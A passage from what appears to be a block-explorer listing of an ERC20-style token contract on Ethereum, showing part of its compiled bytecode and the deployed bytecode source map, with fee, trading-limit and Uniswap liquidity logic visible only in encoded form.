152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610450565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610537573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146105645760405162461bcd60e51b81526004016104509061181b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d55760405162461bcd60e51b81526004016104509061181b565b5f19600781905560088190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b0316331461063f5760405162461bcd60e51b81526004016104509061181b565b601454600160a01b900460ff16156106935760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610450565b6013546006546001600160a01b039091169063f305d71990479030905f806106c25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610728573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074d9190611850565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c6919061187b565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b5f610396338484610b61565b5f546001600160a01b031633146108195760405162461bcd60e51b81526004016104509061181b565b601454600160a01b900460ff161561086d5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610450565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108b69030906108a86009600a6117f6565b61041890633b9aca00611804565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610906573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092a919061189a565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad919061189a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109f7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1b919061189a565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610b005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610c275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b5f8111610c885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b601454600160b01b900460ff161580610caa5750601454600160a81b900460ff165b15610d3f576001600160a01b0383165f90815260016020526040902054610cd190826110db565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cff9082611123565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f805160206119c083398151915290610b549085815260200190565b5f80546001600160a01b03858116911614801590610d6a57505f546001600160a01b03848116911614155b1561109057600f5460125411610d8257600b54610d86565b600d545b6014549091506001600160a01b038581169116148015610db457506013546001600160a01b03848116911614155b15610ebb57600754821115610e0b5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610450565b60085482610e2d856001600160a01b03165f9081526001602052604090205490565b610e3791906118b5565b1115610e855760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610450565b436005546003610e9591906118b5565b1115610ea657823b15610ea6575f80fd5b60128054905f610eb5836118c8565b91905055505b6014546001600160a01b03848116911614801590610ef157506001600160a01b0383165f9081526003602052604090205460ff16155b15610f705760085482610f18856001600160a01b03165f9081526001602052604090205490565b610f2291906118b5565b1115610f705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610450565b6014546001600160a01b038481169116148015610f9657506001600160a01b0384163014155b15610fb55760105460125411610fae57600c54610fb2565b600e545b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610feb57506014546001600160a01b038581169116145b80156110005750601454600160b01b900460ff165b801561100f5750601154601254115b801561103357506001600160a01b0385165f9081526003602052604090205460ff16155b801561105757506001600160a01b0384165f9081526003602052604090205460ff16155b1561108e5760095481106110825761108261107d8461107884600a54611181565b611181565b611195565b4761108c47611305565b505b505b61109d848484848861133c565b50505050565b5f81848411156110c65760405162461bcd60e51b815260040161045091906115fc565b505f6110d284866118e0565b95945050505050565b5f61111c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a3565b9392505050565b5f8061112f83856118b5565b90508381101561111c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b5f81831161118f578261111c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111db576111db6118f3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611232573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611256919061189a565b81600181518110611269576112696118f3565b6001600160a01b03928316602091820292909201015260135461128f9130911684610a3d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c79085905f90869030904290600401611907565b5f604051808303815f87803b1580156112de575f80fd5b505af11580156112f0573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610537573d5f803e3d5ffd5b5f611352606461134c858761147d565b906114fb565b6001600160a01b0387165f9081526003602052604090205490915060019060ff161561137c575060645b60648110156113ef5781156113ea57305f908152600160205260409020546113a49083611123565b305f81815260016020526040908190209290925590516001600160a01b038916905f805160206119c0833981519152906113e19086815260200190565b60405180910390a35b611468565b61141f611401606461134c848961147d565b6001600160a01b0385165f9081526001602052604090205490611123565b6001600160a01b038085165f8181526001602052604090819020939093559151908916905f805160206119c08339815191529061145f9086815260200190565b60405180910390a35b6114748787878561153c565b50505050505050565b5f825f0361148c57505f61039a565b5f6114978385611804565b9050826114a48583611978565b1461111c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b5f61111c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d0565b6001600160a01b0384165f9081526001602052604090205461155e90836110db565b6001600160a01b0385165f9081526001602052604090205561158361140183836110db565b6001600160a01b038085165f8181526001602052604090209290925585165f805160206119c08339815191526115b985856110db565b60405190815260200160405180910390a350505050565b5f81836115f05760405162461bcd60e51b815260040161045091906115fc565b505f6110d28486611978565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611645575f80fd5b50565b5f8060408385031215611659575f80fd5b823561166481611631565b946020939093013593505050565b5f805f60608486031215611684575f80fd5b833561168f81611631565b9250602084013561169f81611631565b929592945050506040919091013590565b5f602082840312156116c0575f80fd5b813561111c81611631565b5f80604083850312156116dc575f80fd5b82356116e781611631565b915060208301356116f781611631565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561175057815f190482111561173657611736611702565b8085161561174357918102915b93841c939080029061171b565b509250929050565b5f826117665750600161039a565b8161177257505f61039a565b81600181146117885760028114611792576117ae565b600191505061039a565b60ff8411156117a3576117a3611702565b50506001821b61039a565b5060208310610133831016604e8410600b84101617156117d1575081810a61039a565b6117db8383611716565b805f19048211156117ee576117ee611702565b029392505050565b5f61111c60ff841683611758565b808202811582820484141761039a5761039a611702565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611862575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561188b575f80fd5b8151801515811461111c575f80fd5b5f602082840312156118aa575f80fd5b815161111c81611631565b8082018082111561039a5761039a611702565b5f600182016118d9576118d9611702565b5060010190565b8181038181111561039a5761039a611702565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261199257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207d892addb66f08b6dfcf43962d942d21fdf6bd072d0974ae4626cdea90198dd664736f6c63430008190033

Deployed Bytecode Sourcemap

3858:9931:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5762:83;;;;;;;;;;-1:-1:-1;5832:5:0;;;;;;;;;;;;-1:-1:-1;;;5832:5:0;;;;5762:83;;;;;;;:::i;:::-;;;;;;;;6645:186;;;;;;;;;;-1:-1:-1;6645:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6645:186:0;893:187:1;4669:57:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4669:57:0;1085:177:1;6039:95:0;;;;;;;;;;;;;:::i;6839:446::-;;;;;;;;;;-1:-1:-1;6839:446:0;;;;;:::i;:::-;;:::i;5948:83::-;;;;;;;;;;-1:-1:-1;5948:83:0;;4225:1;1870:36:1;;1858:2;1843:18;5948:83:0;1728:184:1;8371:295:0;;;;;;;;;;;;;:::i;:::-;;6142:119;;;;;;;;;;-1:-1:-1;6142:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6235:18:0;6208:7;6235:18;;;:9;:18;;;;;;;6142:119;1829:148;;;;;;;;;;;;;:::i;12626:172::-;;;;;;;;;;;;;:::i;4474:58::-;;;;;;;;;;;;;;;;1615:79;;;;;;;;;;-1:-1:-1;1653:7:0;1680:6;1615:79;;-1:-1:-1;;;;;1680:6:0;;;2315:51:1;;2303:2;2288:18;1615:79:0;2169:203:1;4539:60:0;;;;;;;;;;;;;;;;5853:87;;;;;;;;;;-1:-1:-1;5925:7:0;;;;;;;;;;;;-1:-1:-1;;;5925:7:0;;;;5853:87;;7636:512;;;;;;;;;;;;;:::i;6269:192::-;;;;;;;;;;-1:-1:-1;6269:192:0;;;;;:::i;:::-;;:::i;4606:56::-;;;;;;;;;;;;;;;;6469:168;;;;;;;;;;-1:-1:-1;6469:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6602:18:0;;;6575:7;6602:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6469:168;13297:452;;;;;;;;;;;;;:::i;6645:186::-;6745:4;6762:39;1097:10;6785:7;6794:6;6762:8;:39::i;:::-;-1:-1:-1;6819:4:0;6645:186;;;;;:::o;6039:95::-;6092:7;4390:15;4225:1;4390:2;:15;:::i;:::-;4374:31;;:13;:31;:::i;:::-;6112:14;;6039:95;:::o;6839:446::-;6971:4;6988:36;6998:6;7006:9;7017:6;6988:9;:36::i;:::-;7035:220;7058:6;1097:10;7106:138;7162:6;7106:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7106:19:0;;;;;;:11;:19;;;;;;;;1097:10;7106:33;;;;;;;;;;:37;:138::i;:::-;7035:8;:220::i;:::-;-1:-1:-1;7273:4:0;6839:446;;;;;:::o;8371:295::-;1742:6;;-1:-1:-1;;;;;1742:6:0;1097:10;1742:22;1734:67;;;;-1:-1:-1;;;1734:67:0;;;;;;;:::i;:::-;;;;;;;;;8430:11:::1;::::0;-1:-1:-1;;;8430:11:0;::::1;;;8429:12;8421:56;;;::::0;-1:-1:-1;;;8421:56:0;;5015:2:1;8421:56:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:33;5073:18;;;5066:61;5144:18;;8421:56:0::1;4813:355:1::0;8421:56:0::1;8514:21;8554:19:::0;8546:59:::1;;;::::0;-1:-1:-1;;;8546:59:0;;5375:2:1;8546:59:0::1;::::0;::::1;5357:21:1::0;5414:2;5394:18;;;5387:30;5453:29;5433:18;;;5426:57;5500:18;;8546:59:0::1;5173:351:1::0;8546:59:0::1;1653:7:::0;1680:6;;8616:42:::1;::::0;-1:-1:-1;;;;;1680:6:0;;;;8616:42;::::1;;;::::0;8642:15;;8616:42;1653:7;8616:42;8642:15;1680:6;8616:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8410:256;8371:295::o:0;1829:148::-;1742:6;;-1:-1:-1;;;;;1742:6:0;1097:10;1742:22;1734:67;;;;-1:-1:-1;;;1734:67:0;;;;;;;:::i;:::-;1936:1:::1;1920:6:::0;;1899:40:::1;::::0;-1:-1:-1;;;;;1920:6:0;;::::1;::::0;1899:40:::1;::::0;1936:1;;1899:40:::1;1967:1;1950:19:::0;;-1:-1:-1;;;;;;1950:19:0::1;::::0;;1829:148::o;12626:172::-;1742:6;;-1:-1:-1;;;;;1742:6:0;1097:10;1742:22;1734:67;;;;-1:-1:-1;;;1734:67:0;;;;;;;:::i;:::-;-1:-1:-1;;12678:12:0::1;:26:::0;;;12715:14:::1;:28:::0;;;12759:31:::1;::::0;1231:25:1;;;12759:31:0::1;::::0;1219:2:1;1204:18;12759:31:0::1;;;;;;;12626:172::o:0;7636:512::-;1742:6;;-1:-1:-1;;;;;1742:6:0;1097:10;1742:22;1734:67;;;;-1:-1:-1;;;1734:67:0;;;;;;;:::i;:::-;7694:11:::1;::::0;-1:-1:-1;;;7694:11:0;::::1;;;7693:12;7685:48;;;::::0;-1:-1:-1;;;7685:48:0;;5731:2:1;7685:48:0::1;::::0;::::1;5713:21:1::0;5770:2;5750:18;;;5743:30;-1:-1:-1;;;5789:18:1;;;5782:53;5852:18;;7685:48:0::1;5529:347:1::0;7685:48:0::1;7746:15;::::0;7850:7:::1;::::0;-1:-1:-1;;;;;7746:15:0;;::::1;::::0;:31:::1;::::0;7785:21:::1;::::0;7830:4:::1;::::0;7746:15:::1;::::0;7904:7:::1;1653::::0;1680:6;-1:-1:-1;;;;;1680:6:0;;1615:79;7904:7:::1;7746:206;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7746:206:0;;;-1:-1:-1;;;;;6240:15:1;;;7746:206:0::1;::::0;::::1;6222:34:1::0;6272:18;;;6265:34;;;;6315:18;;;6308:34;;;;6358:18;;;6351:34;6422:15;;;6401:19;;;6394:44;7926:15:0::1;6454:19:1::0;;;6447:35;6156:19;;7746:206:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7972:13:0::1;::::0;8003:15:::1;::::0;7965:71:::1;::::0;-1:-1:-1;;;7965:71:0;;-1:-1:-1;;;;;8003:15:0;;::::1;7965:71;::::0;::::1;6978:51:1::0;-1:-1:-1;;7045:18:1;;;7038:34;7972:13:0;::::1;::::0;-1:-1:-1;7965:29:0::1;::::0;6951:18:1;;7965:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8057:11:0::1;:18:::0;;-1:-1:-1;;;;8086:18:0;-1:-1:-1;;;8086:18:0;;;8128:12:::1;8115:10;:25:::0;7636:512::o;6269:192::-;6372:4;6389:42;1097:10;6413:9;6424:6;6389:9;:42::i;13297:452::-;1742:6;;-1:-1:-1;;;;;1742:6:0;1097:10;1742:22;1734:67;;;;-1:-1:-1;;;1734:67:0;;;;;;;:::i;:::-;13354:11:::1;::::0;-1:-1:-1;;;13354:11:0;::::1;;;13353:12;13345:48;;;::::0;-1:-1:-1;;;13345:48:0;;5731:2:1;13345:48:0::1;::::0;::::1;5713:21:1::0;5770:2;5750:18;;;5743:30;-1:-1:-1;;;5789:18:1;;;5782:53;5852:18;;13345:48:0::1;5529:347:1::0;13345:48:0::1;13406:15;:104:::0;;-1:-1:-1;;;;;;13406:104:0::1;13457:42;13406:104:::0;;::::1;::::0;;;13523:58:::1;::::0;13540:4:::1;::::0;4390:15:::1;4225:1;4390:2;:15;:::i;:::-;4374:31;::::0;:13:::1;:31;:::i;13523:58::-;13628:15;;;;;;;;;-1:-1:-1::0;;;;;13628:15:0::1;-1:-1:-1::0;;;;;13628:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13610:55:0::1;;13688:4;13708:15;;;;;;;;;-1:-1:-1::0;;;;;13708:15:0::1;-1:-1:-1::0;;;;;13708:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13610:131;::::0;-1:-1:-1;;;;;;13610:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7851:15:1;;;13610:131:0::1;::::0;::::1;7833:34:1::0;7903:15;;7883:18;;;7876:43;7768:18;;13610:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13594:13;:147:::0;;-1:-1:-1;;;;;;13594:147:0::1;-1:-1:-1::0;;;;;13594:147:0;;;::::1;::::0;;;::::1;::::0;;13297:452::o;7293:335::-;-1:-1:-1;;;;;7386:19:0;;7378:68;;;;-1:-1:-1;;;7378:68:0;;8132:2:1;7378:68:0;;;8114:21:1;8171:2;8151:18;;;8144:30;8210:34;8190:18;;;8183:62;-1:-1:-1;;;8261:18:1;;;8254:34;8305:19;;7378:68:0;7930:400:1;7378:68:0;-1:-1:-1;;;;;7465:21:0;;7457:68;;;;-1:-1:-1;;;7457:68:0;;8537:2:1;7457:68:0;;;8519:21:1;8576:2;8556:18;;;8549:30;8615:34;8595:18;;;8588:62;-1:-1:-1;;;8666:18:1;;;8659:32;8708:19;;7457:68:0;8335:398:1;7457:68:0;-1:-1:-1;;;;;7536:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7588:32;;1231:25:1;;;7588:32:0;;1204:18:1;7588:32:0;;;;;;;;7293:335;;;:::o;9010:2508::-;-1:-1:-1;;;;;9098:18:0;;9090:68;;;;-1:-1:-1;;;9090:68:0;;8940:2:1;9090:68:0;;;8922:21:1;8979:2;8959:18;;;8952:30;9018:34;8998:18;;;8991:62;-1:-1:-1;;;9069:18:1;;;9062:35;9114:19;;9090:68:0;8738:401:1;9090:68:0;-1:-1:-1;;;;;9177:16:0;;9169:64;;;;-1:-1:-1;;;9169:64:0;;9346:2:1;9169:64:0;;;9328:21:1;9385:2;9365:18;;;9358:30;9424:34;9404:18;;;9397:62;-1:-1:-1;;;9475:18:1;;;9468:33;9518:19;;9169:64:0;9144:399:1;9169:64:0;9261:1;9252:6;:10;9244:64;;;;-1:-1:-1;;;9244:64:0;;9750:2:1;9244:64:0;;;9732:21:1;9789:2;9769:18;;;9762:30;9828:34;9808:18;;;9801:62;-1:-1:-1;;;9879:18:1;;;9872:39;9928:19;;9244:64:0;9548:405:1;9244:64:0;9324:11;;-1:-1:-1;;;9324:11:0;;;;9323:12;;:22;;-1:-1:-1;9339:6:0;;-1:-1:-1;;;9339:6:0;;;;9323:22;9319:223;;;-1:-1:-1;;;;;9380:15:0;;;;;;:9;:15;;;;;;:27;;9400:6;9380:19;:27::i;:::-;-1:-1:-1;;;;;9362:15:0;;;;;;;:9;:15;;;;;;:45;;;;9438:13;;;;;;;:25;;9456:6;9438:17;:25::i;:::-;-1:-1:-1;;;;;9422:13:0;;;;;;;:9;:13;;;;;;;:41;;;;9483:26;;;;;;-1:-1:-1;;;;;;;;;;;9483:26:0;;;9502:6;1231:25:1;;1219:2;1204:18;;1085:177;9319:223:0;9552:14;1680:6;;-1:-1:-1;;;;;9585:15:0;;;1680:6;;9585:15;;;;:32;;-1:-1:-1;1653:7:0;1680:6;-1:-1:-1;;;;;9604:13:0;;;1680:6;;9604:13;;9585:32;9581:1870;;;9656:15;;9644:9;;:27;9643:61;;9690:14;;9643:61;;;9675:12;;9643:61;9733:13;;9634:70;;-1:-1:-1;;;;;;9725:21:0;;;9733:13;;9725:21;:55;;;;-1:-1:-1;9764:15:0;;-1:-1:-1;;;;;9750:30:0;;;9764:15;;9750:30;;9725:55;9721:464;;;9819:12;;9809:6;:22;;9801:59;;;;-1:-1:-1;;;9801:59:0;;10160:2:1;9801:59:0;;;10142:21:1;10199:2;10179:18;;;10172:30;10238:26;10218:18;;;10211:54;10282:18;;9801:59:0;9958:348:1;9801:59:0;9935:14;;9925:6;9909:13;9919:2;-1:-1:-1;;;;;6235:18:0;6208:7;6235:18;;;:9;:18;;;;;;;6142:119;9909:13;:22;;;;:::i;:::-;:40;;9879:140;;;;-1:-1:-1;;;9879:140:0;;10643:2:1;9879:140:0;;;10625:21:1;10682:2;10662:18;;;10655:30;10721:28;10701:18;;;10694:56;10767:18;;9879:140:0;10441:350:1;9879:140:0;10059:12;10042:10;;10055:1;10042:14;;;;:::i;:::-;:29;10038:102;;;12554:20;;12602:8;10096:24;;;;;;10158:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9721:464;10211:13;;-1:-1:-1;;;;;10205:19:0;;;10211:13;;10205:19;;;;:46;;-1:-1:-1;;;;;;10229:22:0;;;;;;:18;:22;;;;;;;;10228:23;10205:46;10201:227;;;10328:14;;10318:6;10302:13;10312:2;-1:-1:-1;;;;;6235:18:0;6208:7;6235:18;;;:9;:18;;;;;;;6142:119;10302:13;:22;;;;:::i;:::-;:40;;10272:140;;;;-1:-1:-1;;;10272:140:0;;10643:2:1;10272:140:0;;;10625:21:1;10682:2;10662:18;;;10655:30;10721:28;10701:18;;;10694:56;10767:18;;10272:140:0;10441:350:1;10272:140:0;10454:13;;-1:-1:-1;;;;;10448:19:0;;;10454:13;;10448:19;:44;;;;-1:-1:-1;;;;;;10471:21:0;;10487:4;10471:21;;10448:44;10444:200;;;10535:16;;10523:9;;:28;10522:106;;10613:15;;10522:106;;;10576:13;;10522:106;10513:115;;10444:200;10709:4;10660:28;6235:18;;;:9;:18;;;;;;10753:6;;-1:-1:-1;;;10753:6:0;;;;10752:7;:47;;;;-1:-1:-1;10786:13:0;;-1:-1:-1;;;;;10780:19:0;;;10786:13;;10780:19;10752:47;:79;;;;-1:-1:-1;10820:11:0;;-1:-1:-1;;;10820:11:0;;;;10752:79;:130;;;;;10864:18;;10852:9;;:30;10752:130;:176;;;;-1:-1:-1;;;;;;10904:24:0;;;;;;:18;:24;;;;;;;;10903:25;10752:176;:220;;;;-1:-1:-1;;;;;;10950:22:0;;;;;;:18;:22;;;;;;;;10949:23;10752:220;10730:710;;;11034:17;;11010:20;:41;11007:206;;11076:117;11119:51;11123:6;11131:38;11135:20;11157:11;;11131:3;:38::i;:::-;11119:3;:51::i;:::-;11076:16;:117::i;:::-;11278:21;11370:35;11383:21;11370:12;:35::i;:::-;10988:452;10730:710;9619:1832;9581:1870;11463:47;11479:4;11485:2;11489:6;11497;11505:4;11463:15;:47::i;:::-;9079:2439;9010:2508;;;:::o;3002:224::-;3122:7;3158:12;3150:6;;;;3142:29;;;;-1:-1:-1;;;3142:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3182:9:0;3194:5;3198:1;3194;:5;:::i;:::-;3182:17;3002:224;-1:-1:-1;;;;;3002:224:0:o;2858:136::-;2916:7;2943:43;2947:1;2950;2943:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2936:50;2858:136;-1:-1:-1;;;2858:136:0:o;2671:179::-;2729:7;;2761:5;2765:1;2761;:5;:::i;:::-;2749:17;;2790:1;2785;:6;;2777:46;;;;-1:-1:-1;;;2777:46:0;;11271:2:1;2777:46:0;;;11253:21:1;11310:2;11290:18;;;11283:30;11349:29;11329:18;;;11322:57;11396:18;;2777:46:0;11069:351:1;8156:107:0;8213:7;8245:1;8241;:5;8240:15;;8254:1;8240:15;;;-1:-1:-1;8250:1:0;8156:107;-1:-1:-1;8156:107:0:o;12806:483::-;5344:6;:13;;-1:-1:-1;;;;5344:13:0;-1:-1:-1;;;5344:13:0;;;12908:16:::1;::::0;;12922:1:::1;12908:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12908:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12908:16:0::1;12884:40;;12953:4;12935;12940:1;12935:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12935:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12979:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12979:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12935:7;;12979:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12969:4;12974:1;12969:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12969:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13044:15:::1;::::0;13012:62:::1;::::0;13029:4:::1;::::0;13044:15:::1;13062:11:::0;13012:8:::1;:62::i;:::-;13085:15;::::0;:196:::1;::::0;-1:-1:-1;;;13085:196:0;;-1:-1:-1;;;;;13085:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13166:11;;13085:15:::1;::::0;13208:4;;13235::::1;::::0;13255:15:::1;::::0;13085:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5380:6:0;:14;;-1:-1:-1;;;;5380:14:0;;;-1:-1:-1;;;;12806:483:0:o;8271:92::-;8328:10;;:27;;-1:-1:-1;;;;;8328:10:0;;;;:27;;;;;8348:6;;8328:10;:27;:10;:27;8348:6;8328:10;:27;;;;;;;;;;;;;;;;;;;11526:889;11701:17;11721:27;11744:3;11721:18;:6;11732;11721:10;:18::i;:::-;:22;;:27::i;:::-;-1:-1:-1;;;;;11796:24:0;;11759:18;11796:24;;;:18;:24;;;;;;11701:47;;-1:-1:-1;11780:1:0;;11796:24;;11792:73;;;-1:-1:-1;11850:3:0;11792:73;11892:3;11879:10;:16;11875:476;;;11916:13;;11912:224;;11995:4;11977:24;;;;:9;:24;;;;;;:79;;12028:9;11977:28;:79::i;:::-;11968:4;11950:24;;;;:9;:24;;;;;;;:106;;;;12080:40;;-1:-1:-1;;;;;12080:40:0;;;-1:-1:-1;;;;;;;;;;;12080:40:0;;;12110:9;1231:25:1;;1219:2;1204:18;;1085:177;12080:40:0;;;;;;;;11912:224;11875:476;;;12192:90;12236:31;12263:3;12236:22;:10;12251:6;12236:14;:22::i;:31::-;-1:-1:-1;;;;;12192:21:0;;;;;;:9;:21;;;;;;;:25;:90::i;:::-;-1:-1:-1;;;;;12168:21:0;;;;;;;:9;:21;;;;;;;:114;;;;12302:37;;;;;;-1:-1:-1;;;;;;;;;;;12302:37:0;;;12329:9;1231:25:1;;1219:2;1204:18;;1085:177;12302:37:0;;;;;;;;11875:476;12361:46;12379:4;12385:2;12389:6;12397:9;12361:17;:46::i;:::-;11690:725;;11526:889;;;;;:::o;3234:246::-;3292:7;3316:1;3321;3316:6;3312:47;;-1:-1:-1;3346:1:0;3339:8;;3312:47;3369:9;3381:5;3385:1;3381;:5;:::i;:::-;3369:17;-1:-1:-1;3414:1:0;3405:5;3409:1;3369:17;3405:5;:::i;:::-;:10;3397:56;;;;-1:-1:-1;;;3397:56:0;;13098:2:1;3397:56:0;;;13080:21:1;13137:2;13117:18;;;13110:30;13176:34;13156:18;;;13149:62;-1:-1:-1;;;13227:18:1;;;13220:31;13268:19;;3397:56:0;12896:397:1;3488:132:0;3546:7;3573:39;3577:1;3580;3573:39;;;;;;;;;;;;;;;;;:3;:39::i;8674:328::-;-1:-1:-1;;;;;8843:15:0;;;;;;:9;:15;;;;;;:27;;8863:6;8843:19;:27::i;:::-;-1:-1:-1;;;;;8825:15:0;;;;;;:9;:15;;;;;:45;8897:40;8915:21;:6;8926:9;8915:10;:21::i;8897:40::-;-1:-1:-1;;;;;8881:13:0;;;;;;;:9;:13;;;;;:56;;;;8953:41;;-1:-1:-1;;;;;;;;;;;8972:21:0;:6;8983:9;8972:10;:21::i;:::-;8953:41;;1231:25:1;;;1219:2;1204:18;8953:41:0;;;;;;;8674:328;;;;:::o;3628:223::-;3748:7;3783:12;3776:5;3768:28;;;;-1:-1:-1;;;3768:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3807:9:0;3819:5;3823:1;3819;:5;:::i;14:418:1:-;163:2;1